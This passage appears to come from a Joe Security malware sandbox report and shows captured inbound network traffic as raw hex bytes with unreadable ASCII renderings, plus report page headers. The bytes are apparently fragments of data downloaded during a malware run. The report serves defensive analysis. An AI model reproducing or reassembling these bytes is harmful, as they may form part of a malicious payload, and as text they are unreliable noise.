c6 da b8 04 d1 02 c4 f5 22 39 5b be 04 27 e6 6a 27 44 6c 0a e3 c7 8f 28 ef 39 d8 21 55 30 43 d4 64 ae 70 c6 70 e2 c5 9c 59 40 02 f6 3b ed 2b 01 f0 1f 0f 0a 50 96 874b 5b 76 65 79 1a f0 31 6e 6c 8f 37 88 47 a9 61 Data Ascii: !(W1=!rCFv`uG+!yl+hk>=Ki5Q70.Cx#(|fgYq.}F-P|a&5x@z+Za&~1^W82:DYk 76kdjXs"9['j'Dl(9!U0CdppY@;+PK[vey1nl7Ga

2022-01-15 19:23:30 UTC 320 IN Data Raw: e0 15 41 38 f6 a2 af b2 f3 84 14 aa eb ea f3 9f ed ab 26 67 07 23 fe 7e 8e a3 fa 05 57 51 9b bd f2 17 7e fd 11 ee 8c 9f 54 15 cf 3a d9 40 a7 92 8b ad 42 66 53 f2 33 c1 32 bb ff fa 44 c7 24 c2 b3 61 80 90 eb 9a e9 d6 21 f8 26 9c 7d 80 6f 6c e8 d5 cf a9 45 ca 50 dd 4b b4 11 59 95 82 f8 13 8e e6 e1 8a 4c b0 c3 5f f0 ac 23 2b 6d a7 c8 4e 96 87 f7 a9 4c da a1 d1 47 31 89 f0 ba 50 0f 9a 40 d6 c8 bf 57 b5 91 1d 78 45 a4 88 08 7a cb 24 4d 0d 5c ff 91 b4 fe 41 bd 89 fb f0 56 d3 00 21 04 67 f3 f9 42 08 7d 4e 6d f0 b3 dc 50 51 56 70 54 f4 27 ef 36 05 e7 dd d5 e3 8c ce 8a c4 3c ea 6c ae 5f 28 1f 68 54 34 4a 91 ec 2c d8 46 a3 9d a8 0b 34 21 48 c4 68 db 93 d8 45 75 d1 b0 c1 73 99 1e 6f 06 9f 89 af a2 ae 22 7d 24 f9 16 be 4c c5 16 01 53 14 93 00 41 d6 32 48 2e 79 92 47 Data Ascii: A8&g#~WQ~T:@BfS32D$a!&}olEPKYL_#+mNLG1P@WxEz$M\AV!gB}NmPQVpT'6<l_(hT4J,F4!HhEuso"}$LSA2H.yG

2022-01-15 19:23:30 UTC 336 IN Data Raw: d8 c2 0a 64 76 cf 7d 67 ab f4 2e 27 28 9a 04 a7 0c f8 4d da f1 d1 75 29 d4 a4 62 76 b8 4b 73 45 b3 0b b5 9e aa 0c ca 57 e7 16 bb f5 be bb fc e5 5b ef b5 8d b4 8a 89 1b 8a 00 80 dd c3 0b 6e b3 c4 6e 88 f1 33 29 8b 0a 84 3b e6 53 2d 0a 52 67 15 eb e2 6c c5 11 57 21 81 29 2b f9 ef 5f 11 e2 86 3f fe 10 f9 fc b3 29 2f 59 10 96 d8 bb f8 a7 51 2f b0 61 02 4b 41 a7 c3 f7 5d 5e 50 1e c9 06 cb a0 62 0e 46 08 c2 da d9 70 a3 da 3e 84 1b 74 1d 04 04 ce 45 df 78 41 5d 3a 17 d8 7e 70 ab ec c2 96 a2 c8 cd 3d 04 8f ef e4 c9 2d ba 5d 6f b1 a7 14 4c fc bf e3 ba 03 9f 43 d8 25 6d 32 13 0e c6 aa 01 d5 a5 39c0 cb e6 0a a6 fe 10 9d 61 bf c9 39 32 61 d9 6f 61 41 cb 75 9e da 4e 4d 1a 60 ab b8 81 49 76 aa 5b 09 68 6f a8 bd 69 63 ca c8 6b 34 fd c0 d9 bf 1e 73 ab 71 00 78 ce 91 8a Data Ascii: dv}g.'(Mu)bvKsEW[nn3);S-RglW!)+_?)/YQ/aKA]^PbFp>tExA]:~p=-]oLC%m29a92aoaAuNM`Iv[hoick4sqx

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 31 of 103

2022-01-15 19:23:30 UTC 352 IN Data Raw: b2 74 c5 2d 59 c5 c9 4f 54 ca 9f 8c 1a 0c 8c 48 eb 56 17 07 55 56 03 b3 ae e6 20 9c 68 86 5e 6c 23 9f 2a f1 d9 f9 4e ea 28 b1 c0 48 71 5b 79 65 23 24 aa 2f 22 6f 95 c6 67 9d 0a d5 0d 79 d1 20 f7 73 7e 79 56 2b bf 88 01 a1 b3 4c df 25 df 91 9d 62 1c dd b1 a8 93 57 43 44 4d 95 ad bd da c9 0d d1 c4 ca 57 88 5f 5e ef 59 a0 2b 3e 1a ca bd 90 7c 2f 93 c8 49 90 03 77 c6 6f 3c 24 4d a4 61 cf cb 42 d8 bc 96 96 ba 47 40 a1 4e 32 df 51 b8 8e 22 dc 50 13 88 4d 2e 26 a2 ed b3 ad 36 b4 a8 53 53 71 e3 ac ea 54 23 0a 1a cd e7 41 55 dd 35 9d 22 81 60 f2 19 33 7a 01 33 8c 4b 0c 4b ed e4 c2 5c 62 be 37 1a 56 cd b1 bc 5f df 39 d7 35 ba f8 9d a8 d4 6c 41 cb e6 f0 c9 6b e5 3e f3 57 1a 25 cf bd 11 e1 28 f1 85 22 56 01 e4 fc 9f 56 80 af a2 a3 a8 66 22 43 da bf b8 7e 2f 61 de 26 Data Ascii: t-YOTHVUV h^l#*N(Hq[ye#$/"ogy s~yV+L%bWCDMW_^Y+>|/Iwo<$MaBG@N2Q"PM.&6SSqT#AU5"`3z3KK\b7V_95lAk>W%("VVf"C~/a&

2022-01-15 19:23:30 UTC 368 IN Data Raw: 0c dc 18 32 7e fc 07 67 de 2b a8 d6 36 53 27 25 d4 09 c0 3d 16 71 69 47 db d1 2b 59 9f 02 dc f9 a4 66 06 15 ba a9 01 54 8d bf c7 32 86 62 e9 65 28 e3 15 47 b8 ea 58 d5 c3 cf ec 53 8f a3 34 03 63 c0 11 e9 8d bf 3e 4b 02 d0 1c 64 21 99 92 40 a4 3f 26 87 00 64 4c 9d f9 7d f5 b8 7d 15 33 22 a3 e5 d8 2e 6b d7 df 42 34 ec 1c 92 68 4a 13 64 c2 18 74 60 1b 84 79 01 4b f0 4d e8 77 84 01 92 ba 3e 9f 0c e6 0f 68 3e 1c 05 3f 3c f4 6f 86 79 44 fb 39 01 91 42 d7 b9 04 4d 53 7f 4f 0b 06 e2 c3 68 e5 b9 05 79 a8 ec 7b ad 49 b0 03 2a 80 55 61 dc eb 80 c8 ca 93 9e be d2 e8 94 a3 af f3 82 a2 03 64 98 a4 35 9d 88 dd f6 a5 18 2e 55 2b ce 8b 1d 45 a1 46 83 f9 d6 fe 64 5b eb 83 f3 7d b1 ae 36 46 d9 75 df bc fb 23 10 48 8a d8 c4 79 7b 4e 4c b5 51 36 c6 3a 9f f7 39 23 14 36 9e f2 Data Ascii: 2~g+6S'%=qiG+YfT2be(GXS4c>Kd!@?&dL}}3".kB4hJdt`yKMw>h>?<oyD9BMSOhy{I*Uad5.U+EFd[}6Fu#Hy{NLQ6:9#6

2022-01-15 19:23:30 UTC 384 IN Data Raw: 68 83 cc 63 b7 5a f8 4b 4c 2a f3 7d b0 6e ae ac 8e e1 c5 40 99 af 56 34 2b f9 79 ff 9a 9e d0 bd c3 2c db da de fb 6a 79 1c 6e 01 1e e2 c8 69 f4 6f 7f 97 c1 f2 ec da 81 b0 1c bb 7a 7f c7 2f 35 07 00 7a d9 99 a1 04 da c9 15 f1 e2 63 73 00 e7 0d 4c 01 80 26 cf ae a7 48 18 c3 ca ea 71 ac 78 1f a5 0e c7 45 f2 56 6a a0 e4 8b 12 0a 4b 3e b0 c9 3d 71 56 93 9e 88 01 46 e6 aa f0 e2 a6 a5 78 9c ba 68 e4 6c e2 a0 30 74 1a 65 99 23 6e a0 39 5f 47 0d 17 37 9d 5c 24 74 98 84 6a d8 b2 9f b0 fd 07 79 c5 6f 90 7a 9b 07 a8 ce e2 58 87 80 c6 6a 01 07 b4 fa 9a d0 ac 72 6c 57 34 af e7 31 6b 68 57 ce 1b 24 7f d4 83 e7 f9 7d 84 20 8d ca 86 73 52 60 cc 4e bd ea 1a 96 73 5c 80 d6 47 27 35 6b 01 fc 3f 36 b2 33 9b af 8c 3f f3 03 2e 85 82 4d cc 60 f5 00 c8 9c 2a d6 c8 f1 7b e6 7c d9 Data Ascii: hcZKL*}n@V4+y,jynioz/5zcsL&HqxEVjK>=qVFxhl0te#n9_G7\$tjyozXjrlW41khW$} sR`Ns\G'5k?63?.M`*{|

2022-01-15 19:23:30 UTC 400 IN Data Raw: 33 7f 6f 6c 51 25 18 ba f0 53 db de 89 c3 4f bf 40 b7 a1 0d 23 1f 0f e2 de a6 75 b5 ba 41 f5 dc 23 c5 20 ab 18 03 7a b4 cc ba 29 00 df 0e 5b 02 29 a5 64 e4 28 3e 35 81 25 d6 4c d1 5e 75 6c 77 17 f8 6f 98 fb 71 c9 ea ae ca e1 20 0b ab d9 ec 2c e2 1b 2a 28 96 af ff 15 1a b7 3a 23 ec 10 e5 c3 44 63 57 26 8b 8c ed 73 28 9d 04 e8 29 a0 e7 41 d3 4f be 3b a3 93 31 58 b8 45 72 21 b8 ab d3 f6 2b 2e 86 0d e9 7b 2d 6c be d6 25 f1 6a bd f1 7c 81 7d ea f9 4a 5d 7b 8c b7 dd 20 f2 b2 9a 6f 83 ee 68 47 93 d0 42 5e 3b 8b a8 5e 04 b3 b6 80 2d 5d b8 79 20 e1 08 99 a9 86 91 34 47 81 54 5d 77 2d c9 fc a7 51 df bb c6 37 55 fa f9 da 73 34 ea 9d f4 a0 85 7d 28 3a ab 73 d5 ec 89 23 75 ef 73 3e 45 a6 ba a8 65 6f d3 cc 57 f8 66 43 a3 21 d5 7e 3e 0a e3 a1 f5 2c 34 fe c9 23 2f eb 9a Data Ascii: 3olQ%SO@#uA# z)[)d(>5%L^ulwoq ,*(:#DcW&s()AO;1XEr!+.{-l%j|}J]{ ohGB^;^-]y 4GT]w-Q7Us4}(:s#us>EeoWfC!~>,4#/

2022-01-15 19:23:30 UTC 416 IN Data Raw: 55 50 ba 8c 10 79 c4 60 1d 6c bc 81 10 bf c7 a6 dc dc d4 33 31 63 5f b1 67 c7 69 c3 ee 53 af 33 d3 e2 0e 11 a1 8a 53 e2 3b f9 ed 00 2f e6 ed 75 57 1f 1f 8c 37 6a 07 7e 51 62 b0 34 6d a4 83 54 4a b0 87 af fe e7 8c 79 f2 4a 55 5f 19 83 2c c2 58 3f bf df 24 21 d7 f8 a6 4e 81 38 01 d0 e6 3b c2 07 a2 20 50 ce de a9 ec 64 54 9c c0 d1 84 87 02 ab 8f eb 01 05 4c 72 8e 03 0d 6b 73 44 15 19 3d 23 5e 5f cb b4 27 e2 a4 dd 5b 42 37 db d0 14 b1 5e ae 33 67 d0 62 43 19 59 23 51 2f d3 b2 b0 51 83 78 57 00 9e e0 0d 8b 5e 3f 08 30 f7 22 21 08 eb c5 6a d8 9d 7a f7 8f cf 63 ef 90 6e 05 2a 27 0b 44 bc 98 04 c1 f3 86 9d 22 f2 a0 52 7e 46 d8 cf 22 68 74 b9 f2 1d 95 5c 39 8b 07 aa 8c cf d7 11 71 89 06 8b 33 88 7d 67 f3 26 59 0b7c f1 43 a3 ff 56 f0 eb c6 88 5f a0 13 a9 44 ad fd Data Ascii: UPy`l31c_giS3S;/uW7j~Qb4mTJyJU_,X?$!N8; PdTLrksD=#^_'[B7^3gbCY#Q/QxW^?0"!jzcn*'D"R~F"ht\9q3}g&Y|CV_D

2022-01-15 19:23:30 UTC 432 IN Data Raw: f8 79 cb f7 16 4b 29 b4 9f d7 6a 98 81 92 72 99 80 2a 57 cb 69 08 26 19 5c f8 89 34 9d e3 0f ee 68 c9 79 22 63 b5 ba 19 e9 8a c7 49 a7 6e 46 de 6d f8 19 3a 4b e2 cf 55 0f 5b d6 3f 15 24 76 68 2d ae b9 c6 1d c8 89 d7 43 a6 cc 0d 18 7c 74 48 17 85 da 74 95 a3 40 eb 0c 87 2f 67 22 62 ce 36 5c c2 ee 98 39 4e 6a cc 37 32 ec 6d d7 5a 56 5e 9f d0 66 d5 5c 54 eb c8 54 c8 c8 fd fb 4e b3 43 37 f0 3d 5b 02 18 b5 14 97 ee 6f 1b a4 99 5f fc 38 97 96 fc 18 55 df 6a 92 37 89 2b 06 c9 2f ab e8 ef fb e4 fb 75 c0 89 0b ce e9 0b 05 a0 93 1c 14 95 e3 17 6b 2c 39 cd 9c 18 cc 9d 04 48 af 2a 23 83 bd 2d 92 81 65 ce 7c 6c 63 14 84 db e7 00 3d 2e 1c 05 c8 cb 54 87 47 a3 a3 b6 b4 fb 39 3b a1 c8 54 23 d1 a5 e2 d2 0e 32 c7 d1 d9 38 02 d4 58 6d 78 01 7c 62 2e e0 50 77 03 a9 fc 93 87 Data Ascii: yK)jr*Wi&\4hy"cInFm:KU[?$vh-C|tHt@/g"b6\9Nj72mZV^f\TTNC7=[o_8Uj7+/uk,9H*#-e|lc=.TG9;T#28Xmx|b.Pw

2022-01-15 19:23:30 UTC 448 IN Data Raw: 88 d2 ab 63 f1 ce a8 81 11 a3 58 88 20 71 7e 61 e6 0f 52 60 3b 1a c8 9e 24 97 a0 8b 94 01 4e 26 66 93 55 64 ef 3c 03 52 8d 59 da 6b 23 17 5f 62 fb 86 ad 18 97 25 d7 a0 c6 7d 37 b9 e8 89 d2 34 a2 46 d8 c7 39 9c 34 ac 38 d7 d4 49 4e 41 43 0b 77 cd d7 01 49 fa 18 76 1e 65 76 b2 b4 33 c4 98 21 b6 d7 a9 76 fe 13 77 1f 14 6f 7f 7d 93 40 bf 88 d5 c1 e1 88ad 2a 3b 2d 3f b0 8e 7c b0 8d ba 5a f3 44 ea 0e c2 60 82 54 21 1e a0 bf b6 10 5d a2 30 9b 17 96 ed 2f 9d bf 06 9d a7 f8 9a 99 b1 ff 70 9e bf 68 e3 27 95 11 35 d3 c8 20 c9 e5 9c 10 cf 36 15 96 50 98 f3 93 8a db a1 4e 45 76 06 a8 6e e4 df 98 20 22 56 f8 ec cc 12 48 d6 da b9 ea 08 8a db 88 51 35 c3 24 51 c1 11 b3 a0 0d 1b f5 fd b6 f9 52 f9 67 e7 d3 7b 3c 64 69 ea 4d 55 0e 22 20 b3 fe 67 97 bf ef cf 58 70 6d e6 3d Data Ascii: cX q~aR`;$N&fUd<RYk#_b%}74F948INACwIvev3!vwo}@*;-?|ZD`T!]0/ph'5 6PNEvn "VHQ5$QRg{<diMU" gXpm=

2022-01-15 19:23:30 UTC 464 IN Data Raw: 79 87 90 00 ba 68 fe 83 3d 30 e6 13 0e bc 52 bf b2 2f 48 d2 22 60 f7 b3 f1 b3 53 bf dc 18 dc 56 87 7e 88 e3 e4 a3 65 bc 5f 70 f9 13 a6 79 fd df 1a 4e a2 c1 2a bb c0 ee 90 9b 4b 93 ab d0 4f fb f6 31 34 19 fc 7f 6f 57 fa 02 2a 08 66 de 31e2 d8 30 97 4a 11 64 97 d7 cf b2 42 b2 0a e2 84 2a c3 c3 22 2f e8 13 73 25 16 69 35 5a eb 3f cc 94 d9 0e bc 8a d8 b5 23 07 b5 8e fc f3 8a 2e 45 a8 e8 df 5d 81 6e cb a6 d2 f3 39 87 7e 67 29 2f c6 9e de ab 4f c6 50 d6 82 56 62 e3 37 b6 cc c7 fc 25 d8 78 9a 5e b6 4f 33 c3 05 51 f0 9d 26 fc 0a 59 7c 84 11 b6 9b 93 0f ed 20 c0 6e 7a 7b 4e dc 65 a6 35 48 58 b9 48 b1 1a fe d6 7a 24 a5 0f 31 e1 0a 87 19 7a d6 7a bc e9 a8 0b 56 69 d6 93 1d 25 1f 20 f1 8a 9c fd 11 1c 56 1a d7 b6 09 77 e7 df a0 81 28 72 ed 30 f0 ec 47 0b f7 01 17 20 Data Ascii: yh=0R/H"`SV~e_pyN*KO14oW*f10JdB*"/s%i5Z?#.E]n9~g)/OPVb7%x^O3Q&Y| nz{Ne5HXHz$1zzVi% Vw(r0G

2022-01-15 19:23:30 UTC 480 IN Data Raw: 1f 1e 8d 23 74 db 51 cc df 14 aa 7d b1 c1 49 e7 17 43 80 9a 01 79 f5 e7 cb e1 4f bb 82 71 c9 7e ce 1d 1d 08 07 37 35 c7 7b d5 21 99 7f 5f 5a 44 86 7e 86 40 be b5 7c 0e c6 46 30 6f 40 9c 50 81 19 d6 14 92 1f eb 46 ac b7 8e a4 c2 54 8f 9d 7e 12 31 f7 9a 35 83 f9 1f b5 9a ba 27 34 7f eb 2c aa 26 9f a6 db 23 0e 1d 58 21 43 04 1b f2 b9 5f a0 09 d9 20 ca 88 f3 26 cf 27 6d d7 62 c0 cd 8b 02 48 f0 55 a1 1a 4e 36 8f 74 0c c7 af 81 6c 41 84 22 80 4a 04 5e ec b1 8b 78 13 69 0b 8a d6 5a e5 e6 ab 03 05 f9 c2 5f 64 8c 75 20 6c d1 e8 6b 7b fd 02 90 50 eb b8 3a 2a 72 8a 93 5c 3b 09 2d 03 90 10 89 cf e2 03 5d 33 94 c4 dc a0 b8 14 55 f0 ef 75 9b 1f b2 7e a0 bc 6d 25 c9 77 ef 80 4e 40 2a b6 ad c1 c6 37 aa d7 80 bb 0f ee 40 31 11 60 d4 c4 a5 34 eb 42 1c c1 36 87 9e 7b 79 dd Data Ascii: #tQ}ICyOq~75{!_ZD~@|F0o@PFT~15'4,&#X!C_ &'mbHUN6tlA"J^xiZ_du lk{P:*r\;-]3Uu~m%wN@*7@1`4B6{y

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 32 of 103

2022-01-15 19:23:30 UTC 496 IN Data Raw: 27 39 04 69 a5 e5 f0 28 20 ba 96 ee 30 0e 6e 68 75 44 a5 85 f6 bf 19 ed fc 79 88 2a 41 0a e7 55 3d 56 11 86 d7 0e bb 9a 25 f7 e4 a7 32 49 a3 18 77 86 60 43 2b 52 0a fc 34 9f 6c 86 ec 7a fd 8f 3c 28 ee db d9 e1 bd d4 50 bc 98 19 55 7f 4e b3 3d 48 0b f7 08 ee 19 04 dd 30 da 61 0b a8 85 60 cb 84 53 1a f1 e4 ea bc b8 e5 da d8 b3 43 74 f4 c2 6a 29 30 1b 99 f7 f8 de 1e f8 f1 18 16 6e cf 82 87 8f 53 68 20 7d 21 03 24 e8 1d 1b d0 6f b2 09 c3 57 1a d8 9b 32 8a 53 60 1b e6 e0 68 f0 5e fc 54 43 a8 a5 31 7a 4f 38 e7 4d b6 cf be d3 92 16 cb ba 7e 41 92 c2 86 01 7a fc 1f d1 e3 8c f6 6b a8 e8 c4 13 cf 44 1f 39 b8 ab 73 f4 58 7f 48 4b a2 f9 39 89 b1 5b 35 89 cc a5 b5 55 5d d5 1f 2e 56 26 e5 f5 e0 4f 69 a9 24 e8 0d f1 3e 15 6e 29 c8 2b 09 b3 fc 3b ea f2 72 d5 6c 63 89 97 Data Ascii: '9i( 0nhuDy*AU=V%2Iw`C+R4lz<(PUN=H0a`SCtj)0nSh }!$oW2S`h^TC1zO8M~AzkD9sXHK9[5U].V&Oi$>n)+;rlc

2022-01-15 19:23:30 UTC 512 IN Data Raw: 7c d8 a5 92 35 f4 04 62 be 44 dc cc 4b c4 7b 13 46 61 59 65 1a ef 59 de 61 45 6c fc c2 b7 f8 f3 d3 bb f6 8b 65 0d ba 69 7e f7 38 e9 c2 2a 59 ef ae 25 22 d6 53 a7 ea 1d bf 51 ef 1d 58 87 51 44 19 11 60 a5 23 b4 3d 23 43 ed 21 ad 64 d0 33 cb 5d eb 04 18 95 f0 d7 af 36 f0 ed 2f a3 da d0 c4 a5 e9 da dc d6 d3 2d 08 25 5e 6c c0 52 8e 84 26 55 86 ce e0 c3 bd 35 a0 d6 4c f0 4a 76 8a a8 02 be 2b 20 b5 8d 56 46 36 40 c0 e6 6b 11 4f 19 1b 64 46 ce 60 b8 9b 64 a3 28 e1 8e 07 8c 68 df 0d 6e 8b 83 b0 5d 92 4f 39 eb e6 94 e2 57 3d bf ed df b5 0f a9 1e 5d e6 53 b7 0e e1 dd 0a 2f 73 bd 2c ef 44 75 0d 09 a5 a9 4e 85 77 df ab a6 3d 05 b5 7e c9 e6 24 af 2a 74 53 91 6c 47 b4 ac 7b 46 ac b0 96 3a 6d 10 d7 b0 50 8c 7e 83 51 92 0d fd f8 99 f8 ef a3 7e ad d4 b0 38 ea 99 ae 9f 35 Data Ascii: |5bDK{FaYeYaElei~8*Y%"SQXQD`#=#C!d3]6/-%^lR&U5LJv+ VF6@kOdF`d(hn]O9W=]S/s,DuNw=~$*tSlG{F:mP~Q~85

2022-01-15 19:23:30 UTC 528 IN Data Raw: e2 69 8e 97 34 bf f7 58 42 4a d7 2e 6d f7 16 a5 2b 76 ed 49 82 9b 32 5a c1 1d d7 bb 4b c1 3f 57 9d 53 cd d7 d9 2f 2b 59 da 8d bd 47 a4 5e 96 f6 be 81 cb 1f e5 71 04 e9 a3 18 fd bd 60 c3 48 77 72 a7 7a 2b b8 a3 c5 3f fd 31 8d ee dd 4b bf c3 aa f0 e8 cf 4a 15 0b 2d cf 18 b8 2d 3e ca b5 cb 84 df ea 17 dc 70 53 14 10 2a e6 3b c0 28 bb ab 85 96 b7 09 d1 fc e7 3a 4d 6f fa b8 a5 35 53 20 7c 47 16 92 79 75 3b f4 df 26 7e 38 65 55 e9 a4 dc 7e 3c 25 de ad cd cc 0f 37 b7 ca b5 56 81 fd 91 a7 22 f8 35 e1 79 f4 58 17 bb 6f cc ee d0 b7 31 da 57 b8 22 64 7d a1 d3 4c ef 88 1b a7 fc f0 2f a3 da 81 e5 31 51 f6 e0 8c 34 b3 b6 fe 41 aa 7d bb c6 1d 2e 37 9d 25 49 ee 6b 37 14 f6 f7 95 9f 61 79 25 15 39 4b a2 a8 4c 32 d0 df 77 32 53 74 ca d4 33 3e be 25 7e fa 2b 55 86 e7 78 9b Data Ascii: i4XBJ.m+vI2ZK?WS/+YG^q`Hwrz+?1KJ-->pS*;(:Mo5S |Gyu;&~8eU~<%7V"5yXo1W"d}L/1Q4A}.7%Ik7ay%9KL2w2St3>%~+Ux

2022-01-15 19:23:30 UTC 544 IN Data Raw: e4 cf 01 d5 3b 4a 98 90 20 31 f6 cd d6 a1 0d 04 65 29 9f 67 a9 32 e9 59 92 2b 6f 22 36 f3 0b 9b 62 49 c7 c7 c9 61 fc 67 71 43 a5 da 40 45 f6 38 75 33 34 5a 56 7f d8 60 f8 7d e7 b7 1f 73 8a 93 3a f4 c2 c8 c7 bf 1b 74 d6 6a c7 7f 46 73 f7 db 0f 2e e3 89 a8 7b 22 0a 42 94 b8 5c 17 1f c1 d6 de 8d f6 c4 54 7b 64 5c fa 02 8b 25 70 46 ab e0 6d 02 1c 07 4c 1f 61 d3 24 1b 24 43 6f f5 34 01 10 b2 e2 5c 10 14 4d 9f 84 56 a7 0a 98 51 08 7c 00 d4 8b a3 3a 42 2f d9 a5 c3 b1 d6 97 41 36 44 54 25 34 d0 f7 06 0b 85 e1 77 12 bd 8c 27 a2 b0 5d c7 0c a2 29 8c 66 b8 44 95 1d 14 ed cc e1 0a 34 16 f4 6a e4 7f af 42 cb 76 e1 bc f6 75 6b 5e 1f 8e 5c ad dd fb 81 3f 14 a3 f9 4d ba 44 b4 ad af f3 43 d3 2c 13 89 8f 9d d4 37 a4 f6 a6 2c 77 fa 66 e3 5a c6 55 5a 87 1b 77 5c 76 6a 89 af Data Ascii: ;J 1e)g2Y+o"6bIagqC@E8u34ZV`}s:tjFs.{"B\T{d\%pFmLa$$Co4\MVQ|:B/A6DT%4w'])fD4jBvuk^\?MDC,7,wfZUZw\vj

2022-01-15 19:23:30 UTC 560 IN Data Raw: b6 a0 76 94 35 a9 34 ea 75 53 e9 25 53 f0 6b 97 ad 53 b7 a8 25 46 a1 58 41 0c 4a 2b 7c c8 45 a7 9a ee aa 19 e8 8d ce bc 53 68 da 54 08 8e 11 e9 13 1b 29 4e 40 76 dc fd a0 7d 6e 2c 93 26 cf 2a df ef ba 2b 9e 8e ca dc b8 b2 c2 b7 c2 0f e7 7d e9 01 ad 51 bd 5c 9f 94 b9 4a f1 33 1f 6e b2 db 82 31 ea da b6 bc d5 c7 ae 9b ee 34 91 8a 83 0b 62 03 6d 6b 1e 84 16 ba 90 6c de 31 bf 0f b8 98 e9 55 86 72 8b 15 32 87 1a ac d7 41 f9 e4 21 39 fe be 4d 83 40 6e c2 62 cd bd b5 a7 1d f9 76 2e 16 a7 12 6f e9 0c 19 85 73 d7 af 81 ad ee de 35 e0 46 f2 b0 21 0c 87 8c 74 2b 4b 7c 71 86 85 ab 35 fd 82 e0 75 6a ba d4 22 10 1d 63 cf e7 82 c4 d3 04 cb 68 13 a1 55 e2 28 03 b2 21 d1 58 ba 7c d2 31 a3 54 0b 29 0d 6f ec bf 70 ee 2f 29 4a 18 5a 75 84 ba 84 f9 85 ec e3 4b ab 93 d8 c3 ab Data Ascii: v54uS%SkS%FXAJ+|EShT)N@v}n,&*+}Q\[email protected]!t+K|q5uj"chU(!X|1T)op/)JZuK

2022-01-15 19:23:30 UTC 576 IN Data Raw: 08 44 32 04 87 d5 20 4c 31 b6 6c 95 b1 d9 0a 33 af a0 ef a7 31 8e ab 1e aa 25 1c 69 77 9a 5c 81 05 4c ab 71 71 65 9d bd 80 39 45 79 da 52 1a 1c c6 f2 b4 7e 58 ca b5 83 34 da 0f 18 2d fd fc 81 0a 57 5c f2 4f ce e2 f7 5a ba c1 9c 64 d4 44 18 46 6c bc f6 97 8d 9b 40 f5 ae 96 44 8a 33 1e dd 93 72 79 5d 6d 85 ab e7 eb 04 88 aa f5 4c 4f 1b c7 99 45 6e b0 95 85 f6 69 e2 a5 cc 39 ad dd 1d 7a 91 e4 c8 9f 38 55 7c b0 13 a1 55 8e 1b 9a 45 9f 89 75 f0 97 a6 75 a6 3a 0a b9 d9 0b 36 f3 1f 49 0d 64 df 60 c9 be ec 2d fb ef c0 6c d2 86 c9 fb 9b e2 bc a1 32 65 c6 58 40 93 c0 c1 5f 73 ed 5d 05 e5 58 56 b3 fa 26 1b c8 a5 9d 4c 35 4f c7 b4 b9 b6 e0 a7 fe 39 ba f9 b2 52 a3 fe aa c6 1e 9c e9 7f 0f cc 52 b6 1a 41 ad 86 c0 75 37 a6 4f 35 88 14 81 8f 9e 91 1c 8c 6a 85 14 76 c8 80 Data Ascii: D2 L1l31%iw\Lqqe9EyR~X4-W\OZdDFl@D3ry]mLOEni9z8U|UEuu:6Id`-l2eX@_s]XV&L5O9RRAu7O5jv

2022-01-15 19:23:30 UTC 592 IN Data Raw: 97 a7 b4 06 3d ad ab 31 c0 00 fb 78 bf 06 33 ad 19 65 4f 8e 52 69 68 89 77 94 f1 d2 83 0a 40 60 21 7d 31 8a 35 96 00 57 4e ee 38 96 67 bc bd b9 5b b6 aa f9 46 dd af 21 51 ed 32 e2 2d db 05 c5 5d 3c a3 2f d9 47 ce 10 4e aa f8 37 1b a6 1c f0 17 5f f8 84 e6 ad 05 50 f0 5b db 6c 35 41 0e a1 28 7e 01 0c 9a cf 9f 9f 3d 2e f5 10 ca 14 7b b5 7b 9d de 24 67 0d 2d 6b ce 32 59 a5 67 2f 50 e3 84 ee 00 d9 f6 8d 09 65 26 27 b0 55 75 91 08 c0 8c eb 76 8d 9a 42 65 a0 23 f8 7e a9 b3 2f 5c 94 c4 c9 55 7a 37 94 69 3b 36 bc 0d cf 2e ce 27 cb 33 0a f6 8d f7 07 8e d0 5d 61 b3 2c 08 3a cb 8c 0f 01 67 d2 51 44 7c 6b 79 c4 c5 ff 42 fa 3a 5d 0c 4e 76 8d 62 e1 89 97 1d e5 a0 1a eb 48 14 cd cc 1e 91 e8 4c 27 48 f4 62 0c a6 18 2b cb de 59 30 02 99 67 75 53 2d 51 51 dd c2 66 26 f6 4b Data Ascii: =1x3eORihw@`!}15WN8g[F!Q2-]</GN7_P[l5A(~=.{{$g-k2Yg/Pe&'UuvBe#~/\Uz7i;6.'3]a,:gQD|kyB:]NvbHL'Hb+Y0guS-QQf&K

2022-01-15 19:23:30 UTC 608 IN Data Raw: ea d5 cf 41 af fc 8c 19 f5 6b a6 51 20 47 00 fe 5c 36 49 85 a1 2f ae ab 27 fa 58 9e 16 76 b9 17 b3 b7 ff 45 da 4614 82 cc 88 1f 62 77 20 0b 59 c7 5c 6d fe de d0 f3 d8 ef 9f 08 d8 62 1c 67 2f af 5e d8 37 73 ba 1e 6b 17 63 e1 c0 27 ff 0d a3 cc ca 86 f0 c1 b8 f6 92 29 8e d4 48 e2 05 6d f8 64 fa ee 53 36 8e 84 50 81 e0 7c a0 a8 a2 ec 61 95 21 72 09 3c a4 31 0f c6 d8 1e 24 8c 35 e3 08 07 60 e8 a7 0f 34 80 da e7 be 35 8c 3f 6e 76 c7 6a 9d 70 c6 98 50 a2 6d f7 cc 82 c1 31 da e0 f5 b5 3f c3 7c ef 9f ac 09 08 ff 0b cf c4 57 73 3e b9 bb d3 5b 44 f6 5c 34 e0 f8 05 02 a6 98 42 32 18 96 63 f2 b6 89 56 03 5b 24 7a 14 9b c8 86 5d 67 86 dd 29 4b 3f 75 70 85 76 92 ba ca 20 cb f1 d4 b7 4e 00 87 06 65 a7 11 37 4f 08 ac 9d 91 c0 a8 c6 0d b1 1a 18 1c d4 66 0e 37 0e 5f f6 f1 Data Ascii: AkQ G\6I/'XvEFbw Y\mbg/^7skc')HmdS6P|a!r<1$5`45?nvjpPm1?|Ws>[D\4B2cV[$z]g)K?upv Ne7Of7_

